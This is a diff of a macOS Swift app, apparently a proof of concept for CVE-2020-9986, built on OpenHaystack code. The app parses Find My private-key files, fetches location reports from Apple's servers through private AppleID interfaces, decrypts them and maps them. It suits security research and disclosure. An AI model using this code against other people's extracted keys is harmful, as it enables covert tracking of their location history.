_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
|
||||
longitude = Int32(bigEndian: longitude)
|
||||
|
||||
var latitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
|
||||
latitude = Int32(bigEndian: latitude)
|
||||
|
||||
var accuracy: UInt8 = 0
|
||||
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
|
||||
|
||||
let latitudeDec = Double(latitude)/10000000.0
|
||||
let longitudeDec = Double(longitude)/10000000.0
|
||||
|
||||
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
|
||||
}
|
||||
|
||||
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: secret)
|
||||
var counter: Int32 = 1
|
||||
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
||||
shaDigest.update(data: counterData)
|
||||
shaDigest.update(data: ephKey)
|
||||
|
||||
let derivedKey = shaDigest.finalize()
|
||||
|
||||
return Data(derivedKey)
|
||||
}
|
||||
}
|
||||
224
CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyController.swift
Executable file
224
CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyController.swift
Executable file
@@ -0,0 +1,224 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Combine
|
||||
|
||||
class FindMyController: ObservableObject {
|
||||
static let shared = FindMyController()
|
||||
|
||||
@Published var error: Error?
|
||||
@Published var devices = [FindMyDevice]()
|
||||
|
||||
func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
do {
|
||||
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
|
||||
|
||||
self.devices.append(contentsOf: devices)
|
||||
self.fetchReports(with: searchPartyToken, completion: completion)
|
||||
} catch {
|
||||
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
|
||||
}
|
||||
}
|
||||
|
||||
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
||||
|
||||
// Decrypt the reports with the imported keys
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
// Add the reports to the according device by finding the right key for the report
|
||||
for report in reports {
|
||||
|
||||
guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
|
||||
device.keys.contains { (key) -> Bool in
|
||||
key.hashedKey.base64EncodedString() == report.id
|
||||
}
|
||||
}) else {
|
||||
print("No device found for id")
|
||||
continue
|
||||
}
|
||||
if var reports = devices[deviceIndex].reports {
|
||||
reports.append(report)
|
||||
devices[deviceIndex].reports = reports
|
||||
} else {
|
||||
devices[deviceIndex].reports = [report]
|
||||
}
|
||||
}
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt the reports
|
||||
self.decryptReports {
|
||||
self.exportDevices()
|
||||
DispatchQueue.main.async {
|
||||
completion()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func importDevices(devices: Data) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
|
||||
|
||||
// Delete the decrypted reports
|
||||
for idx in devices.startIndex..<devices.endIndex {
|
||||
devices[idx].decryptedReports = nil
|
||||
}
|
||||
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt reports again with additional information
|
||||
self.decryptReports {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
let fetchReportGroup = DispatchGroup()
|
||||
|
||||
let fetcher = ReportsFetcher()
|
||||
|
||||
var devices = self.devices
|
||||
for deviceIndex in 0..<devices.count {
|
||||
fetchReportGroup.enter()
|
||||
devices[deviceIndex].reports = []
|
||||
|
||||
// Only use the newest keys for testing
|
||||
let keys = devices[deviceIndex].keys
|
||||
|
||||
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
|
||||
|
||||
// 21 days
|
||||
let duration: Double = (24 * 60 * 60) * 21
|
||||
let startDate = Date() - duration
|
||||
|
||||
fetcher.query(forHashes: keyHashes,
|
||||
start: startDate,
|
||||
duration: duration,
|
||||
searchPartyToken: searchPartyToken) { jd in
|
||||
guard let jsonData = jd else {
|
||||
fetchReportGroup.leave()
|
||||
return
|
||||
}
|
||||
|
||||
do {
|
||||
// Decode the report
|
||||
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
|
||||
devices[deviceIndex].reports = report.results
|
||||
|
||||
} catch {
|
||||
print("Failed with error \(error)")
|
||||
devices[deviceIndex].reports = []
|
||||
}
|
||||
fetchReportGroup.leave()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Completion Handler
|
||||
fetchReportGroup.notify(queue: .main) {
|
||||
print("Finished loading the reports. Now decrypt them")
|
||||
|
||||
// Export the reports to the desktop
|
||||
var reports = [FindMyReport]()
|
||||
for device in devices {
|
||||
for report in device.reports! {
|
||||
reports.append(report)
|
||||
}
|
||||
}
|
||||
|
||||
#if EXPORT
|
||||
if let encoded = try? JSONEncoder().encode(reports) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||
}
|
||||
#endif
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.devices = devices
|
||||
|
||||
self.decryptReports {
|
||||
completion(nil)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func decryptReports(completion: () -> Void) {
|
||||
print("Decrypting reports")
|
||||
|
||||
// Iterate over all devices
|
||||
for deviceIdx in 0..<devices.count {
|
||||
devices[deviceIdx].decryptedReports = []
|
||||
let device = devices[deviceIdx]
|
||||
|
||||
// Map the keys in a dictionary for faster access
|
||||
guard let reports = device.reports else {continue}
|
||||
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
|
||||
|
||||
let accessQueue = DispatchQueue(label: "threadSafeAccess",
|
||||
qos: .userInitiated,
|
||||
attributes: .concurrent,
|
||||
autoreleaseFrequency: .workItem, target: nil)
|
||||
var decryptedReports = [FindMyLocationReport](repeating:
|
||||
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
|
||||
count: reports.count)
|
||||
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
||||
let report = reports[reportIdx]
|
||||
guard let key = keyMap[report.id] else {return}
|
||||
do {
|
||||
// Decrypt the report
|
||||
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
||||
accessQueue.async(flags: .barrier) {
|
||||
decryptedReports[reportIdx] = locationReport
|
||||
}
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
accessQueue.sync {
|
||||
devices[deviceIdx].decryptedReports = decryptedReports
|
||||
}
|
||||
}
|
||||
|
||||
completion()
|
||||
|
||||
}
|
||||
|
||||
func exportDevices() {
|
||||
|
||||
if let encoded = try? PropertyListEncoder().encode(self.devices) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
struct FindMyControllerKey: EnvironmentKey {
|
||||
static var defaultValue: FindMyController = .shared
|
||||
}
|
||||
|
||||
extension EnvironmentValues {
|
||||
var findMyController: FindMyController {
|
||||
get {self[FindMyControllerKey.self]}
|
||||
set {self[FindMyControllerKey.self] = newValue}
|
||||
}
|
||||
}
|
||||
|
||||
enum FindMyErrors: Error {
|
||||
case decodingPlistFailed(message: String)
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
|
||||
/// Decode key files found in newer macOS versions.
|
||||
class FindMyKeyDecoder {
|
||||
/// Key files can be in different format.
|
||||
/// The old <= 10.15.3 have been using normal plists.
|
||||
/// Newer once use a binary format which needs different parsing
|
||||
enum KeyFileFormat {
|
||||
// swiftlint:disable identifier_name
|
||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
|
||||
/// file format that can be parsed identically.
|
||||
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
||||
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||
case catalina_10_15_4
|
||||
}
|
||||
|
||||
var fileFormat: KeyFileFormat?
|
||||
|
||||
func parse(keyFile: Data) throws -> [FindMyKey] {
|
||||
// Detect the format at first
|
||||
if fileFormat == nil {
|
||||
try self.checkFormat(for: keyFile)
|
||||
}
|
||||
guard let format = self.fileFormat else {
|
||||
throw ParsingError.unsupportedFormat
|
||||
}
|
||||
|
||||
switch format {
|
||||
case .catalina_10_15_4:
|
||||
let keys = try self.parseBinaryKeyFiles(from: keyFile)
|
||||
return keys
|
||||
}
|
||||
}
|
||||
|
||||
func checkFormat(for keyFile: Data) throws {
|
||||
// Key files need to start with KEY = 0x4B 45 59
|
||||
let magicBytes = keyFile.subdata(in: 0..<3)
|
||||
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
|
||||
throw ParsingError.wrongMagicBytes
|
||||
}
|
||||
|
||||
// Detect zeros
|
||||
let potentialZeros = keyFile[15..<31]
|
||||
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Should be big sur
|
||||
self.fileFormat = .catalina_10_15_4
|
||||
}
|
||||
|
||||
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
|
||||
var keys = [FindMyKey]()
|
||||
// First key starts at 32
|
||||
var i = 32
|
||||
|
||||
while i + 117 < keyFile.count {
|
||||
// We could not identify what those keys were
|
||||
_ = keyFile.subdata(in: i..<i+32)
|
||||
i += 32
|
||||
if keyFile[i] == 0x00 {
|
||||
// Public key only.
|
||||
// No need to parse it. Just skip to the next key
|
||||
i += 86
|
||||
continue
|
||||
}
|
||||
|
||||
guard keyFile[i] == 0x01 else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Step over 0x01
|
||||
i+=1
|
||||
// Read the key (starting with 0x04)
|
||||
let fullKey = keyFile.subdata(in: i..<i+85)
|
||||
i += 85
|
||||
// Create the sub keys. No actual need,
|
||||
// but we do that to put them into a similar format as used before 10.15.4
|
||||
|
||||
let advertisedKey = fullKey.subdata(in: 1..<29)
|
||||
let yCoordinate = fullKey.subdata(in: 29..<57)
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: advertisedKey)
|
||||
let hashedKey = Data(shaDigest.finalize())
|
||||
|
||||
let fmKey = FindMyKey(advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: fullKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: yCoordinate,
|
||||
fullKey: fullKey)
|
||||
|
||||
keys.append(fmKey)
|
||||
}
|
||||
|
||||
return keys
|
||||
}
|
||||
|
||||
enum ParsingError: Error {
|
||||
case wrongMagicBytes
|
||||
case wrongFormat
|
||||
case unsupportedFormat
|
||||
}
|
||||
}
|
||||
199
CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/Models.swift
Executable file
199
CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/Models.swift
Executable file
@@ -0,0 +1,199 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
|
||||
import Foundation
|
||||
import CoreLocation
|
||||
|
||||
struct FindMyDevice: Codable, Hashable {
|
||||
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
|
||||
var catalinaBigSurKeyFiles: [Data]?
|
||||
|
||||
/// KeyHash: Report results
|
||||
var reports: [FindMyReport]?
|
||||
|
||||
var decryptedReports: [FindMyLocationReport]?
|
||||
|
||||
func hash(into hasher: inout Hasher) {
|
||||
hasher.combine(deviceId)
|
||||
}
|
||||
|
||||
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
|
||||
lhs.deviceId == rhs.deviceId
|
||||
}
|
||||
}
|
||||
|
||||
struct FindMyKey: Codable {
|
||||
internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) {
|
||||
self.advertisedKey = advertisedKey
|
||||
self.hashedKey = hashedKey
|
||||
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
self.startTime = startTime
|
||||
self.duration = duration
|
||||
self.pu = pu
|
||||
self.yCoordinate = yCoordinate
|
||||
self.fullKey = fullKey
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let container = try decoder.container(keyedBy: CodingKeys.self)
|
||||
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
||||
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
||||
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
||||
self.duration = try? container.decode(Double.self, forKey: .duration)
|
||||
self.pu = try? container.decode(Data.self, forKey: .pu)
|
||||
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
||||
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
||||
}
|
||||
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
/// ?
|
||||
let pu: Data?
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
}
|
||||
|
||||
struct FindMyReportResults: Codable {
|
||||
let results: [FindMyReport]
|
||||
}
|
||||
|
||||
struct FindMyReport: Codable {
|
||||
let datePublished: Date
|
||||
let payload: Data
|
||||
let id: String
|
||||
let statusCode: Int
|
||||
|
||||
let confidence: UInt8
|
||||
let timestamp: Date
|
||||
|
||||
enum CodingKeys: CodingKey {
|
||||
case datePublished
|
||||
case payload
|
||||
case id
|
||||
case statusCode
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
||||
// Convert from milis to time interval
|
||||
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
|
||||
let df = DateFormatter()
|
||||
df.dateFormat = "YYYY-MM-dd"
|
||||
|
||||
if dP < df.date(from: "2020-01-01")! {
|
||||
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
|
||||
} else {
|
||||
self.datePublished = dP
|
||||
}
|
||||
|
||||
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
|
||||
let payloadBase64 = try values.decode(String.self, forKey: .payload)
|
||||
|
||||
guard let payload = Data(base64Encoded: payloadBase64) else {
|
||||
throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
|
||||
}
|
||||
self.payload = payload
|
||||
|
||||
var timestampData = payload.subdata(in: 0..<4)
|
||||
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
|
||||
// Convert the endianness
|
||||
pointer.load(as: Int32.self).bigEndian
|
||||
}
|
||||
|
||||
// It's a cocoa time stamp (counting from 2001)
|
||||
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
|
||||
self.confidence = payload[4]
|
||||
|
||||
self.id = try values.decode(String.self, forKey: .id)
|
||||
}
|
||||
|
||||
func encode(to encoder: Encoder) throws {
|
||||
var container = encoder.container(keyedBy: CodingKeys.self)
|
||||
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
|
||||
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
|
||||
try container.encode(self.id, forKey: .id)
|
||||
try container.encode(self.statusCode, forKey: .statusCode)
|
||||
}
|
||||
}
|
||||
|
||||
struct FindMyLocationReport: Codable {
|
||||
let latitude: Double
|
||||
let longitude: Double
|
||||
let accuracy: UInt8
|
||||
let datePublished: Date
|
||||
let timestamp: Date?
|
||||
let confidence: UInt8?
|
||||
|
||||
var location: CLLocation {
|
||||
return CLLocation(latitude: latitude, longitude: longitude)
|
||||
}
|
||||
|
||||
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
|
||||
self.latitude = lat
|
||||
self.longitude = lng
|
||||
self.accuracy = acc
|
||||
self.datePublished = dP
|
||||
self.timestamp = t
|
||||
self.confidence = c
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
|
||||
self.latitude = try values.decode(Double.self, forKey: .latitude)
|
||||
self.longitude = try values.decode(Double.self, forKey: .longitude)
|
||||
|
||||
do {
|
||||
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
|
||||
self.accuracy = uAcc
|
||||
} catch {
|
||||
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
|
||||
self.accuracy = UInt8(bitPattern: iAcc)
|
||||
}
|
||||
|
||||
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
|
||||
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
|
||||
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
enum FindMyError: Error {
|
||||
case decryptionError(description: String)
|
||||
}
|
||||
32
CVE-2020-9986/OFReadKeys/OFFetchReports/Info.plist
Normal file
32
CVE-2020-9986/OFReadKeys/OFFetchReports/Info.plist
Normal file
@@ -0,0 +1,32 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>$(EXECUTABLE_NAME)</string>
|
||||
<key>CFBundleIconFile</key>
|
||||
<string></string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>$(PRODUCT_NAME)</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>LSMinimumSystemVersion</key>
|
||||
<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
|
||||
<key>NSHumanReadableCopyright</key>
|
||||
<string>Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.</string>
|
||||
<key>NSMainStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
<key>NSPrincipalClass</key>
|
||||
<string>NSApplication</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -1,33 +1,25 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import Cocoa
|
||||
import MapKit
|
||||
|
||||
struct MapView_ViewControllerRepresentable: NSViewControllerRepresentable {
|
||||
var findMyController: FindMyController?
|
||||
struct MapView: NSViewControllerRepresentable {
|
||||
@Environment(\.findMyController) var findMyController
|
||||
|
||||
func makeNSViewController(context: Context) -> MapViewController {
|
||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
||||
}
|
||||
|
||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||
if let controller = self.findMyController {
|
||||
nsViewController.addLocationsReports(from: controller.devices)
|
||||
}
|
||||
nsViewController.addLocationsReports(from: findMyController.devices)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
struct MapView: View {
|
||||
@Environment(\.findMyController) var findMyController
|
||||
|
||||
var body: some View {
|
||||
MapView_ViewControllerRepresentable(findMyController: self.findMyController)
|
||||
}
|
||||
}
|
||||
53
CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.swift
Executable file
53
CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.swift
Executable file
@@ -0,0 +1,53 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
import MapKit
|
||||
|
||||
final class MapViewController: NSViewController, MKMapViewDelegate {
|
||||
@IBOutlet weak var mapView: MKMapView!
|
||||
var pinsShown = false
|
||||
|
||||
override func viewDidLoad() {
|
||||
super.viewDidLoad()
|
||||
self.mapView.delegate = self
|
||||
}
|
||||
|
||||
func addLocationsReports(from devices: [FindMyDevice]) {
|
||||
if !self.mapView.annotations.isEmpty {
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
}
|
||||
|
||||
// Zoom to first location
|
||||
if let location = devices.first?.decryptedReports?.first {
|
||||
let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
|
||||
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
||||
let region = MKCoordinateRegion(center: coordinate, span: span)
|
||||
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
|
||||
// Add pins
|
||||
for device in devices {
|
||||
|
||||
guard let reports = device.decryptedReports else {continue}
|
||||
for report in reports {
|
||||
let pin = MKPointAnnotation()
|
||||
pin.title = device.deviceId
|
||||
pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
|
||||
self.mapView.addAnnotation(pin)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func changeMapType(_ mapType: MKMapType) {
|
||||
self.mapView.mapType = mapType
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<document type="com.apple.InterfaceBuilder3.Cocoa.XIB" version="3.0" toolsVersion="16097" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES" customObjectInstantitationMethod="direct">
|
||||
<dependencies>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="16097"/>
|
||||
<plugIn identifier="com.apple.MapKitIBPlugin" version="16097"/>
|
||||
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
|
||||
</dependencies>
|
||||
<objects>
|
||||
<customObject id="-2" userLabel="File's Owner" customClass="MapViewController" customModule="OfflineFinder" customModuleProvider="target">
|
||||
<connections>
|
||||
<outlet property="mapView" destination="dZd-TY-owu" id="M74-qQ-z9o"/>
|
||||
<outlet property="view" destination="Hz6-mo-xeY" id="0bl-1N-x8E"/>
|
||||
</connections>
|
||||
</customObject>
|
||||
<customObject id="-1" userLabel="First Responder" customClass="FirstResponder"/>
|
||||
<customObject id="-3" userLabel="Application" customClass="NSObject"/>
|
||||
<customView id="Hz6-mo-xeY">
|
||||
<rect key="frame" x="0.0" y="0.0" width="480" height="272"/>
|
||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/>
|
||||
<subviews>
|
||||
<mapView mapType="standard" translatesAutoresizingMaskIntoConstraints="NO" id="dZd-TY-owu">
|
||||
<rect key="frame" x="0.0" y="0.0" width="480" height="272"/>
|
||||
</mapView>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="dZd-TY-owu" firstAttribute="top" secondItem="Hz6-mo-xeY" secondAttribute="top" id="IQV-8E-Mz4"/>
|
||||
<constraint firstAttribute="trailing" secondItem="dZd-TY-owu" secondAttribute="trailing" id="e19-Gs-Swb"/>
|
||||
<constraint firstAttribute="bottom" secondItem="dZd-TY-owu" secondAttribute="bottom" id="fJ4-IC-PW6"/>
|
||||
<constraint firstItem="dZd-TY-owu" firstAttribute="leading" secondItem="Hz6-mo-xeY" secondAttribute="leading" id="l08-bw-Y1N"/>
|
||||
</constraints>
|
||||
<point key="canvasLocation" x="66" y="37"/>
|
||||
</customView>
|
||||
</objects>
|
||||
</document>
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -130,6 +132,7 @@ struct OFFetchReportsMainView: View {
|
||||
|
||||
}
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
func droppedData(data: [NSItemProvider]) -> Bool {
|
||||
guard let itemProvider = data.first else {return false}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
//https://github.com/Matchstic/ReProvision/issues/96#issuecomment-551928795
|
||||
#import <Security/Security.h>
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface AKAppleIDSession : NSObject
|
||||
- (id)_pairedDeviceAnisetteController;
|
||||
- (id)_nativeAnisetteController;
|
||||
- (void)_handleURLResponse:(id)arg1 forRequest:(id)arg2 withCompletion:(id)arg3;
|
||||
- (void)_generateAppleIDHeadersForSessionTask:(id)arg1 withCompletion:(id)arg2;
|
||||
- (id)_generateAppleIDHeadersForRequest:(id)arg1 error:(id)arg2;
|
||||
- (id)_genericAppleIDHeadersDictionaryForRequest:(id)arg1;
|
||||
- (void)handleResponse:(id)arg1 forRequest:(id)arg2 shouldRetry:(char *)arg3;
|
||||
- (id)appleIDHeadersForRequest:(id)arg1;
|
||||
- (void)URLSession:(id)arg1 task:(id)arg2 getAppleIDHeadersForResponse:(id)arg3 completionHandler:(id)arg4;
|
||||
- (id)relevantHTTPStatusCodes;
|
||||
- (id)copyWithZone:(struct _NSZone *)arg1;
|
||||
- (void)encodeWithCoder:(id)arg1;
|
||||
- (id)initWithCoder:(id)arg1;
|
||||
- (id)initWithIdentifier:(id)arg1;
|
||||
- (id)init;
|
||||
|
||||
@end
|
||||
|
||||
@interface AKDevice
|
||||
+ (AKDevice *)currentDevice;
|
||||
- (NSString *)uniqueDeviceIdentifier;
|
||||
- (NSString *)serialNumber;
|
||||
- (NSString *)serverFriendlyDescription;
|
||||
@end
|
||||
|
||||
|
||||
|
||||
@interface ReportsFetcher : NSObject
|
||||
|
||||
/// WARNING: Runs synchronous network request. Please run this in a background thread.
|
||||
/// Query location reports for an array of public key hashes (ids)
|
||||
